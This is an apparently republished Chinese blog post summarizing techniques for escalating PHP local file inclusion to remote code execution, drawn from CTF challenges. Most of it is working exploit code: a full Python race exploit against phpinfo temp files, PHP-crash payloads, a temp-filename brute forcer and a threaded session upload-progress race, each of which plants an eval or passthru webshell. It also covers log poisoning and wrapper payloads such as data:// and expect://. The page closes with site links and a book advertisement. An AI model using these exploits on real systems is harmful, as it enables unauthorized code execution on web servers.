内容简介:LFI不止可以来读取文件,还能用来RCE在多道CTF题目中都有LFItoRCE的非预期解,下面总结一下LFI的利用姿势
LFI不止可以来读取文件,还能用来RCE
在多道CTF题目中都有LFItoRCE的非预期解,下面总结一下LFI的利用姿势
/proc/self/environ
需要有 /proc/self/environ 的读取权限
如果可以读取,修改 User-Agent 为 php 代码,然后lfi点包含,实现rce
/proc/self/fd/1,2,3…
需要有 /proc/self/fd/1 的读取权限
类似于 /proc/self/environ ,不同是在 referer 或报错等写入php代码,然后lfi点包含,实现rce
php伪协议
php://filter
用来读文件 https://www.php.net/manual/zh/filters.php
不需要 allow_url_include 和 allow_url_fopen 开启
-
php://filter/read=convert.base64-encode/resource=
php://input
可以实现代码执行
需要 allow_url_include:on
data://
需要 allow_url_fopen , allow_url_include 均开启
data://text/plain,<?php phpinfo()?> data:text/plain,<?php phpinfo()?> data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= d·ata:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
expect://
默认不开启,需要安装PECL package扩展
需要 allow_url_include 开启
expect://[command]
/var/log/…
ssh日志
需要有 /var/log/auth.log 的读取权限
如果目标机开启了ssh,可以通过包含ssh日志的方式来getshell
连接ssh时输入 ssh `<?php phpinfo(); ?>`@192.168.211.146 php代码便会保存在 /var/log/auth.log 中
然后lfi点包含,实现rce
apache日志
需要有 /var/log/apache2/... 的读取权限
包含 access.log 和 error.log 来rce
但log文件过大会超时返回500,利用失败
更多日志文件地址见: https://github.com/tennc/fuzzdb/blob/master/attack-payloads/lfi/common-unix-httpd-log-locations.txt
with phpinfo
PHP引擎对 enctype="multipart/form-data" 这种请求的处理过程如下
/tmp/php[w]{6}
构造一个html文件来发送上传文件的数据包
<form action="http://192.168.211.146/phpinfo.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form>
phpinfo 可以输出 $_FILES 信息,包括临时文件路径、名称
可以通过分块传输编码,发送大量数据来争取时间,在临时文件删除之前执行包含操作
https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf 中的exp:
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%sr
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """+padding+"""r
HTTP_ACCEPT_LANGUAGE: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
# LFIREQ="""GET /lfi.php?file=%s%%00 HTTP/1.1r
# User-Agent: Mozilla/4.0r
# Proxy-Connection: Keep-Aliver
# Host: %sr
# r
# r
# """
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
fn = d[i+17:i+31]
# print fn
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0rnrn"):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! m/"
else:
print ":("
except KeyboardInterrupt:
print "nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
with php崩溃
php Segfault
向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
1. php < 7.2
-
php://filter/string.strip_tags/resource=/etc/passwd
2. php7 老版本通杀
-
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
更新之后的版本已经修复,不会再使php崩溃了,这里我使用老版本来测试可以利用
包含上面两条payload可以使php崩溃,请求中同时存在一个上传文件的请求则会使临时文件保存,然后爆破临时文件名,包含来rce
payload1测试:
payload2测试:
exp:
# -*- coding: utf-8 -*-
# php崩溃 生成大量临时文件
import requests
import string
def upload_file(url, file_content):
files = {'file': ('daolgts.jpg', file_content, 'image/jpeg')}
try:
requests.post(url, files=files)
except Exception as e:
print e
charset = string.digits+string.letters
webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)
url="http://192.168.211.146/lfi.php"
parameter="file"
payload1="php://filter/string.strip_tags/resource=/etc/passwd"
payload2=r"php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
lfi_url = url+"?"+parameter+"="+payload1
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file(lfi_url, file_content)
爆破tmp文件名
然后爆破临时文件名来包含
# -*- coding: utf-8 -*-
import requests
import string
charset = string.digits + string.letters
base_url="http://192.168.211.146/lfi.php"
parameter="file"
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = base_url+"?"+parameter+"=/tmp/php"+filename
print url
try:
response = requests.get(url)
if 'success' in response.content:
print "[+] Include success!"
print "url:"+url
exit()
except Exception as e:
print e
session
如果 session.upload_progress.enabled=On 开启,就可以包含session来getshell,并且这个参数在php中是默认开启的
https://php.net/manual/zh/session.upload-progress.php
当一个上传在处理中,同时POST一个与INI中设置的 session.upload_progress.name 同名变量时,上传进度可以在 $_SESSION 中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
也就是说session中会添加 session.upload_progress.prefix + $_POST[ini_get['session.upload_progress.name']] ,而 session.upload_progress.name 是可控的,所以就可以在session写入php代码,然后包含session文件来rce
session.upload_progress.prefix 和 session.upload_progress.name 还有session的储存位置 session.save_path 都能在phpinfo中获取,默认为:
同时能看到 session.upload_progress.cleanup 是默认开启的,这个配置就是POST请求结束后会把session清空,所以session的存在时间很短,需要条件竞争来读取
下面测试一下,构造一个html来发包
<form action="http://192.168.211.146/phpinfo.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo(); ?>" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> </form>
在数据包里加入 PHPSESSION ,才能生成session文件
burp不断发包,成功包含
exp:
import requests
import threading
webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)
url='http://192.168.211.146/lfi.php'
r=requests.session()
def POST():
while True:
file={
"upload":('daolgts.jpg', file_content, 'image/jpeg')
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":file_content
}
headers={
"Cookie":'PHPSESSID=123456'
}
r.post(url,files=file,headers=headers,data=data)
def READ():
while True:
event.wait()
t=r.get("http://192.168.211.146/lfi.php?file=/var/lib/php/sessions/sess_123456")
if 'success' not in t.text:
print('[+]retry')
else:
print(t.text)
event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
LFI自动化利用工具
会自动扫描利用以下漏洞,并且获取到shell
- /proc/self/environ
- php://filter
- php://input
- /proc/self/fd
- access log
- phpinfo
- data://
- expect://
Referer
以上所述就是小编给大家介绍的《LFItoRCE利用总结》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- tcache机制利用总结
- Structs 全版本漏洞利用总结
- [应用安全]之ActiveMQ漏洞利用方法总结
- 利用ES6进行Promise封装总结
- 超全面总结!如何利用栅格系统做响应式设计?
- 实战:如何利用栅格系统做响应式设计- 后台设计经验总结(2)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
从0开始做运营 入门篇
张亮 / 4.99元
此书是《从零开始做运营》系列的入门篇。 在互联网产品经理热的今天,关于传统的网站与产品运营的书籍一直非常缺乏,很多有志于互联网行业的年轻人并不明白一款产品、一个网站的策划、上线、成长、成熟直到衰落的过程中,除了产品和网站本身的设计之外,还有一块非常重要的工作是针对网站与产品生命周期的持续运营。 网站与产品运营是一个非常辛苦而非常有趣的事情,希望本书可以为有志于从事互联网网站与产品运营的......一起来看看 《从0开始做运营 入门篇》 这本书的介绍吧!